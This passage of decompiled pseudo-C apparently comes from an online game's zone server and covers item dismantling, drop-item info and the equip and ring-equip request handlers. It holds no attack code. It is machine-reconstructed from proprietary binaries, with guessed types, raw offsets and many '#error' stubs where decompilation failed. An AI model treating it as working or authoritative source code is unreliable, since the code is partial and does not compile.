v39 >= 64 ) goto LABEL_38; isAlreadySettle = 0; nNowProductItemLot = v38; if ( !(v37 / v38) ) nNowProductItemLot = v37 % v38; LOWORD(v75) = nNowProductItemLot; v41 = *((_DWORD *)v31 + 2148); v42 = (ItemBag *)*((_DWORD *)v31 + 1); v43 = *((_WORD *)v31 + 4); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v42; if ( v41 ) v44 = ((int (__stdcall *)(int))v42->vfptr->ib_BagSizeInput)(v41); else v44 = ((int (*)(void))v42->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.ibi_Limit = v44; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = v43; v45 = *(InventoryLocking::InventoryCellLock **)v31; uii.uii_Iterator = (ItemBoxIterator *)&ibii; LOBYTE(v75) = 1; uii.uii_LockList = v45; uii.uii_InvenType = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) goto LABEL_24; while ( 1 ) { v46 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); if ( v46 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid cell", 0); LABEL_21: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ) goto LABEL_24; } v47 = (*(int (__stdcall **)(int))(**(_DWORD **)(v46 + 112) + 24))(v46 + 8); if ( v47 + nNowProductItemLot > nMaxItemLot ) goto LABEL_21; v48 = uii.uii_Iterator->ibi_finger; for ( j = 0; j < v40; ++j ) { if ( UseSlotCheck[j] == v48 ) break; } if ( j != v40 ) goto LABEL_21; UseSlotCheck[v40] = v48; v76 = v46; UseSlotCheckCnt = v40 + 1; memcpy(&a2, (const void *)v46, 0x6Cu); LOWORD(a29) = *(_WORD *)(v46 + 108); BYTE2(a29) = *(_BYTE *)(v46 + 110); v77 = *(void **)(v46 + 112); (*(void (__thiscall **)(_DWORD, char *, int))(**(_DWORD **)(v46 + 112) + 28))( *(_DWORD *)(v46 + 112), &a4, nNowProductItemLot + v47); v40 = UseSlotCheckCnt; v31 = v65; a30 = uii.uii_Iterator->ibi_finger; a31 = 0; isAlreadySettle = 1; LABEL_24: v50 = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LOBYTE(v75) = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; if ( isAlreadySettle ) goto LABEL_43; v51 = *((_DWORD *)v31 + 2148); v52 = (ItemBag *)*((_DWORD *)v31 + 1); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibie.baseclass_0.ibi_itembag = v52; if ( v51 ) v53 = ((int (__stdcall *)(int))v52->vfptr->ib_BagSizeInput)(v51); else v53 = ((int (*)(void))v52->vfptr->ib_BagSizeOutput)(); ibie.baseclass_0.ibi_Limit = v53; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v54 = *(InventoryLocking::InventoryCellLock **)v31; this.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v75) = 2; this.uii_LockList = v54; this.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&this) ) { while ( 1 ) { v55 = this.uii_Iterator; v56 = this.uii_Iterator->ibi_finger; for ( k = 0; k < v40; ++k ) { if ( UseSlotCheck[k] == v56 ) break; } if ( k == v40 ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&this) ) goto LABEL_36; } UseSlotCheck[v40++] = v56; v76 = (**(int (__stdcall ***)(_DWORD))v55->ibi_itembag)(v55->ibi_finger); v58 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v59 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&a2, 8, v59->nZoneNo, v58); *(_WORD *)&a4 = *((_WORD *)v65 + 4); v60 = ItemAttributeClassContainer::operator__(&itmattcontainer, *((_WORD *)v65 + 4)); (*(void (__thiscall **)(void *, char *, int))(*(_DWORD *)v60 + 28))(v60, &a4, nNowProductItemLot); v31 = v65; v77 = v60; a30 = this.uii_Iterator->ibi_finger; a31 = 1; isAlreadySettle = 1; v50 = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } LABEL_36: LOBYTE(v75) = 0; ibie.baseclass_0.vfptr = v50; if ( isAlreadySettle ) { LABEL_43: ++i; v39 = i; v32 = -1; nProductCnt -= nNowProductItemLot; if ( (signed int)nProductCnt > 0 ) { v38 = nMaxItemLot; v37 = nProductCnt; continue; } LABEL_38: *((_DWORD *)v31 + 4) = v39; --funcallanalizer.fca_stackpoint; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v75 = v32; v35 = &_PerformanceRecorder; if ( v39 > 0 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5760; } LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v35, v61); return 5771; } break; } --funcallanalizer.fca_stackpoint; v75 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5772; } // 4DCC00: inconsistent function type and number of purged bytes // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004DD060) -------------------------------------------------------- #error "4DD060: undefined or illegal type '#434' (funcsize=213)" //----- (004DD320) -------------------------------------------------------- #error "4DD320: undefined or illegal type '#434' (funcsize=349)" //----- (004DD860) -------------------------------------------------------- #error "4DD860: undefined or illegal type '#325' (funcsize=89)" //----- (004DD9B0) -------------------------------------------------------- void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob) { PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *v6; // edx@1 this->bidi_BriefInfo->handle = handle; this->bidi_BriefInfo->itemid = itemid; v6 = this->bidi_BriefInfo; v6->location.x = loc->x; v6->location.y = loc->y; this->bidi_BriefInfo->dropmobhandle = dropmob; this->bidi_BriefInfo->attr._bf0 ^= (rareness ^ this->bidi_BriefInfo->attr._bf0) & 7; this->bidi_BriefInfo->attr._bf0 &= 0xF7u; } //----- (004DDA10) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoDropItem(ItemDataBox *this, unsigned __int16 item, char *invaliditem) { int v3; // eax@2 char result; // al@3 *invaliditem = 1; if ( item < this->idb_maxItemhandle && (v3 = item, this->idb_index[v3].data) ) { *invaliditem = 0; result = this->idb_index[v3].data->NoDrop; } else { result = 1; } return result; } //----- (004DDA50) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_drpitm_CanLooting() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_drpitm_CanLooting", 0); return 0; } //----- (004DDA70) -------------------------------------------------------- #error "4DDA70: undefined or illegal type '#434' (funcsize=102)" //----- (004DDBE0) -------------------------------------------------------- #error "4DDBE0: undefined or illegal type '#434' (funcsize=196)" //----- (004DDE90) -------------------------------------------------------- #error "4DDE90: undefined or illegal type '#434' (funcsize=362)" //----- (004DE380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #325 *obj) { ShineObjectClass::ShineDropItem *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^= (v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^ 8 * (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 1320))(v2, obj)) & 8; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); } //----- (004DE440) -------------------------------------------------------- #error "4DE440: undefined or illegal type '#325' (funcsize=66)" //----- (004DE550) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, char looter_isparty, int looter_handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ItemDrop", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); return 771; } //----- (004DE5F0) -------------------------------------------------------- #error "4DE5F0: undefined or illegal type '#325' (funcsize=246)" //----- (004DE940) -------------------------------------------------------- #error "4DE940: undefined or illegal type '#325' (funcsize=150)" //----- (004DEB40) -------------------------------------------------------- #error "4DEB40: undefined or illegal type '#325' (funcsize=54)" //----- (004DEC20) -------------------------------------------------------- #error "4DEC20: undefined or illegal type '#325' (funcsize=65)" //----- (004DED10) -------------------------------------------------------- #error "4DED10: undefined or illegal type '#325' (funcsize=65)" //----- (004DEE00) -------------------------------------------------------- #error "4DEE00: undefined or illegal type '#434' (funcsize=48)" //----- (004DEE80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this) { *((_BYTE *)this + 66008) = 0; ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(this); } //----- (004DEE90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last) { memcpy(last, (const void *)(this + 6888), 0xC0u); } //----- (004DEEB0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle, __int16 a6) { int v6; // esi@1 int v7; // edx@6 int v8; // edi@6 int v9; // edx@10 int v10; // STA0_4@10 int v11; // edi@10 int v12; // eax@10 int v13; // ebx@10 ItemDataBox::ItemDataBoxIndex *v14; // eax@11 unsigned __int16 v15; // STA0_2@11 ItemDataBox::ItemDataBoxIndex *v16; // eax@11 ItemInfoServer *v17; // ebx@11 ItemEquipEnum v18; // ebx@17 int v19; // eax@24 unsigned __int16 v20; // ax@25 ItemDataBox::ItemDataBoxIndex *v21; // eax@26 int v22; // eax@32 int v23; // eax@34 signed int v24; // ebx@37 signed int v25; // ebp@37 int v26; // eax@45 unsigned __int16 v27; // ax@46 int v28; // eax@47 ItemDataBox::ItemDataBoxIndex *v29; // eax@49 ItemInfo *v30; // eax@50 WeaponTypeEnum v31; // eax@51 bool v32; // sf@54 unsigned __int8 v33; // of@54 signed int v34; // eax@59 int v35; // eax@62 void *v36; // ebx@65 ItemBoxIteratorVtbl *v37; // eax@65 char *v38; // ebp@65 int v39; // edx@65 ItemBoxIteratorVtbl *v40; // ebx@65 char v41; // al@65 int v42; // ebx@69 void *v43; // eax@70 InventoryLocking::InventoryCellLockVtbl *v44; // edx@70 int v45; // eax@70 int v46; // edx@71 int v47; // eax@72 int v48; // eax@72 int v49; // eax@72 int v50; // eax@72 int v51; // edx@72 bool v52; // zf@72 __int16 v53; // cx@77 int v54; // eax@77 int v55; // eax@83 int v56; // edx@83 int v57; // eax@83 int v58; // eax@83 int v59; // ST9C_4@83 int v60; // ST94_4@83 char v61; // al@83 ZoneBaseSession *v62; // eax@84 ItemInfo *v63; // edi@86 int v64; // [sp+A0h] [bp-14Ch]@70 FunctionEntarance _; // [sp+B0h] [bp-13Ch]@1 ItemInfoServer *invequ; // [sp+B8h] [bp-134h]@11 int insertslot; // [sp+BCh] [bp-130h]@6 void *invchr; // [sp+C0h] [bp-12Ch]@7 int excellnum; // [sp+C4h] [bp-128h]@71 int equslot; // [sp+C8h] [bp-124h]@65 ItemEquipEnum invcell; // [sp+CCh] [bp-120h]@17 int mainslot; // [sp+D0h] [bp-11Ch]@10 InventoryLocking::UnlockedInventoryIterator uii; // [sp+D4h] [bp-118h]@10 signed int insertcell; // [sp+E0h] [bp-10Ch]@66 void *equcell; // [sp+E4h] [bp-108h]@70 ItemBoxIterEmpty ibie; // [sp+E8h] [bp-104h]@65 EquipEnumChanger::ExclusiveCell excell[29]; // [sp+F8h] [bp-F4h]@65 int v78; // [sp+1E8h] [bp-4h]@1 void *v79; // [sp+1ECh] [bp+0h]@66 v6 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v78 = 0; if ( !(_S4_10 & 1) ) { _S4_10 |= 1u; cmc_61.cmc_AllowMode = 70; atexit(_E5_53); } if ( !((1 << **(_BYTE **)(v6 + 3716)) & cmc_61.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 57736) + 16))(v6 + 57736) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 642); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } v7 = *(_DWORD *)(v6 + 35536); v8 = *(_BYTE *)(netcmd + 2); insertslot = *(_BYTE *)(netcmd + 2); if ( v8 >= (*(int (__thiscall **)(int, int))(v7 + 8))(v6 + 35536, a2) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : wrong slot", (int)invchr); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v6 + 57736) + 12))(v6 + 57736, 9, v8) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 2728))(v6); v9 = *(_DWORD *)(v6 + 35536); v10 = *(_BYTE *)(netcmd + 2); v11 = v6 + 32168; uii.uii_Iterator = (ItemBoxIterator *)*(_BYTE *)(netcmd + 2); v12 = (*(int (__thiscall **)(int, int))v9)(v6 + 35536, v10); v13 = v12; LOWORD(v12) = *(_WORD *)(v12 + 8); mainslot = v13; if ( !ItemDataBox::operator__(&itemdatabox, v12) ) goto LABEL_18; v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8)); v15 = *(_WORD *)(v13 + 8); invchr = v14->data; v16 = ItemDataBox::operator__(&itemdatabox, v15); v17 = v16->dataserv; invequ = v16->dataserv; if ( !AssertClass::operator__( &shineassert, invchr != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { if ( !((1 << (((unsigned int)*(_BYTE *)(v6 + 32118) >> 2) & 0x1F)) & *(_DWORD *)((char *)invchr + 199)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( *(_DWORD *)((char *)invchr + 119) > (unsigned int)(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1220))(v6) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } v18 = EquipEnumChanger::eec_EquipLocation(&equipman, v17, (ItemBag *)(v6 + 32168)); invcell = v18; if ( !v18 ) { LABEL_18: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( *(_BYTE *)(v6 + 66008) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, ItemEquipEnum))(*(_DWORD *)(v6 + 57736) + 12))( v6 + 57736, 8, v18) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( v18 == 10 ) { v19 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32168, 13); if ( !v19 ) goto LABEL_29; v20 = *(_WORD *)(v19 + 8); if ( v20 != -1 ) { v21 = ItemDataBox::operator__(&itemdatabox, v20); if ( !v21 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( v21->data->TwoHand ) { LABEL_29: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } } } else { if ( v18 == 13 ) { if ( *((_BYTE *)invchr + 114) ) { v22 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32168, 10); if ( !v22 || *(_WORD *)(v22 + 8) != -1 ) goto LABEL_29; } } } v23 = *(_DWORD *)((char *)invchr + 219); if ( v23 != 16 && v23 ) { switch ( v18 ) { case 10: v24 = 11; v25 = 13; break; case 11: v24 = 10; v25 = 12; break; case 12: v24 = 13; v25 = 11; break; case 13: v24 = 12; v25 = 10; break; default: v24 = 0; v25 = 0; break; } insertslot = 0; do { if ( !v24 || !v25 ) break; v26 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32168, v24); if ( !v26 || (v27 = *(_WORD *)(v26 + 8), v27 == -1) ) { v28 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32168, v25); if ( !v28 ) break; v27 = *(_WORD *)(v28 + 8); if ( v27 == -1 ) break; } v29 = ItemDataBox::operator__(&itemdatabox, v27); if ( !v29 ) break; v30 = v29->data; if ( !v30 ) break; v31 = v30->WeaponType; if ( v31 != 16 && v31 && *(_DWORD *)((char *)invchr + 219) != v31 ) goto LABEL_29; v33 = __OFSUB__(insertslot + 1, 1); v32 = insertslot++ < 0; } while ( v32 ^ v33 ); if ( invcell == 11 || invcell == 13 ) { if ( invcell == 11 ) v34 = 10; else v34 = invcell == 13 ? 12 : (_DWORD)uii.uii_Iterator; v35 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32168, v34); if ( !v35 || *(_WORD *)(v35 + 8) == -1 ) (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 2732))(v6); } } equslot = 0; EquipEnumChanger::eec_ConflictWithNewEquip( &equipman, invequ, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &equslot, (ItemBag *)(v6 + 32168), (InventoryLocking::InventoryCellLockList *)(v6 + 57736)); v36 = (void *)invcell; EquipEnumChanger::eec_ConflictWithOldEquip( &equipman, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &equslot, (ItemBag *)(v6 + 32168), invcell, (InventoryLocking::InventoryCellLockList *)(v6 + 57736)); v37 = (ItemBoxIteratorVtbl *)(**(int (__thiscall ***)(int, void *))v11)(v6 + 32168, v36); v38 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = a6; v39 = *(_DWORD *)v6; v40 = v37; ibie.baseclass_0.vfptr = v37; *((_DWORD *)v38 + 1) = (*(int (__thiscall **)(int))(v39 + 836))(v6); *(_WORD *)v38 = 13328; v41 = equslot; LOWORD(v11) = *(_WORD *)(v6 + 57740); if ( equslot > 0 ) { ItemBoxIterEmpty::ItemBoxIterEmpty( (ItemBoxIterEmpty *)((char *)&ibie + 4), (ItemBag *)(v6 + 35536), (ChargedEffectContainer *)(v6 + 91696)); uii.uii_LockList = (InventoryLocking::InventoryCellLock *)&ibie.baseclass_0.ibi_itembag; LOBYTE(v79) = 1; uii.uii_InvenType = v6 + 57736; insertcell = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_89; } v41 = equslot; invequ = 0; if ( equslot > 0 ) { v42 = (int)(v38 + 39); while ( 1 ) { v43 = (void *)(*(int (__stdcall **)(InventoryLocking::InventoryCellLockVtbl *))**(int (__stdcall ****)(_DWORD))&uii.uii_LockList->icl_Index)(uii.uii_LockList[1].vfptr); v44 = uii.uii_LockList[1].vfptr; equcell = v43; invchr = v44; v45 = (*(int (__stdcall **)(int))(*(_DWORD *)(v6 + 35536) + 4))(v6 + 91696); if ( (signed int)invchr >= v45 ) break; v46 = *(_DWORD *)(v6 + 57736); LOWORD(excellnum) = (unsigned __int16)invchr & 0x3FF | 0x2400; LOWORD(insertslot) = (unsigned int)excell[(_DWORD)invequ].ec_EquipCell & 0x3FF | 0x2000; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(v46 + 12))(v6 + 57736, 8, v64) ) { (*(void (__thiscall **)(int, int))(*(_DWORD *)(v6 + 57736) + 32))(v6 + 57736, v11); goto LABEL_81; } v47 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, void *, int, int *, int *))(*(_DWORD *)v47 + 48))( v47, v11, equcell, excell[(signed int)invequ + 1].ec_EquipSlot, &excellnum, &insertslot); v48 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, int *, int *))(*(_DWORD *)v48 + 40))( v48, v11, excell[(signed int)invequ + 1].ec_EquipSlot, &insertslot, &excellnum); v49 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, int, signed int, _DWORD))(*(_DWORD *)v49 + 64))( v49, v11, insertslot & 0x3FF, excell[(signed int)invequ + 1].ec_EquipSlot, -1, 0); v50 = excell[(signed int)invequ + 1].ec_EquipSlot; *(_DWORD *)(v42 - 8) = *(_DWORD *)v50; v51 = *(_DWORD *)(v50 + 4); LOBYTE(v50) = (_BYTE)invchr; *(_DWORD *)(v42 - 4) = v51; *(_BYTE *)v42 = v50; v52 = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) == 0; v41 = equslot; if ( v52 ) { if ( (signed int)((char *)&invequ->ID + 1) < equslot ) break; } v42 += 9; invequ = (ItemInfoServer *)((char *)invequ + 1); if ( (signed int)invequ >= equslot ) { v40 = ibie.baseclass_0.vfptr; goto LABEL_76; } } (*(void (__thiscall **)(int, int))(*(_DWORD *)(v6 + 57736) + 32))(v6 + 57736, v11); LABEL_81: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v6 + 776))(v6, 12); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_89; } LABEL_76: LOBYTE(v79) = 0; ibie.baseclass_0.ibi_itembag = (ItemBag *)ItemBoxIterator::_vftable_; } v53 = invcell; v38[30] = v41; v54 = mainslot; *((_WORD *)v38 + 8) = v53 & 0x3FF | 0x2000; *((_DWORD *)v38 + 2) = *(_DWORD *)v54; *((_DWORD *)v38 + 3) = *(_DWORD *)(v54 + 4); *((_WORD *)v38 + 13) = (unsigned __int16)uii.uii_Iterator & 0x3FF | 0x2400; if ( LOWORD(v40[2].ibi_isvalid) == -1 ) { *(_DWORD *)(v38 + 22) = -1; *(_DWORD *)(v38 + 18) = -1; } else { *(_DWORD *)(v38 + 18) = v40->ibi_isvalid; *(_DWORD *)(v38 + 22) = v40[1].ibi_isvalid; } v55 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); v56 = *(_DWORD *)v55; _.fe_FunctionCode = v38 + 26; (*(void (__thiscall **)(int))(v56 + 48))(v55); v57 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, ItemEquipEnum, ItemBoxIteratorVtbl *, char *, char *))(*(_DWORD *)v57 + 48))( v57, v11, invcell, v40, v38 + 26, v38 + 16); v58 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, ItemBoxIteratorVtbl *, signed int, _DWORD))(*(_DWORD *)v58 + 64))( v58, v11, equslot, v40, -1, 0); v59 = 9 * (unsigned __int8)v38[30] + 31; v60 = 9 * (unsigned __int8)v38[30] + 31; *((_WORD *)v38 + 14) = v11; v61 = ProtocolPacket::pp_SetPacketLen(&gpp, v60); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v61, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", v59) ) { v62 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v62); } *(_BYTE *)(v6 + 66008) = 1; if ( LOWORD(v40[2].ibi_isvalid) != -1 ) { v63 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(invcell + 8))->data; if ( ItemDataBox::operator__(&itemdatabox, LOWORD(v40[2].ibi_isvalid))->data->AutoMon == 1 ) { if ( !v63->AutoMon ) ShineObjectClass::ShinePlayer::sp_SetAutoPick(v6, 0); } } goto LABEL_89; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); LABEL_89: v78 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 4DEEB0: could not find valid save-restore pair for ebp // 505900: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004DF7C0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equcell, int handle, __int16 a6, int a7, int a8, int a9, int a10) { int v10; // esi@1 int v11; // edx@6 int v12; // edi@6 int v13; // eax@9 int v14; // ecx@11 int v15; // edx@19 int v16; // ST30_4@19 int v17; // ebp@19 ItemInfo *v18; // edi@20 ItemInfoServer *v19; // ebx@20 ItemEquipEnum v20; // eax@26 int v21; // eax@30 int v22; // ebx@34 int v23; // eax@38 char *v24; // edi@42 char *v25; // ebx@42 char v26; // al@45 ZoneBaseSession *v27; // eax@46 int v28; // edi@47 __int16 v29; // ax@47 int v30; // edx@47 int v31; // edi@47 int v32; // eax@47 int v33; // eax@47 FunctionEntarance _; // [sp+40h] [bp-14h]@1 int invslot; // [sp+44h] [bp-10h]@6 int v36; // [sp+48h] [bp-Ch]@6 int v37; // [sp+50h] [bp-4h]@1 int equcella; // [sp+5Ch] [bp+8h]@36 v10 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v37 = 0; if ( !(_S6_65 & 1) ) { _S6_65 |= 1u; cmc_62.cmc_AllowMode = 70; atexit(_E7_47); } if ( !((1 << **(_BYTE **)(v10 + 3716)) & cmc_62.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v10 + 57736) + 16))(v10 + 57736) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v10 + 776))(v10, 12, 17, 642); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } v11 = *(_DWORD *)(v10 + 35536); v12 = *(_BYTE *)(netcmd + 2); invslot = *(_BYTE *)(netcmd + 2); if ( v36 >= (*(int (__thiscall 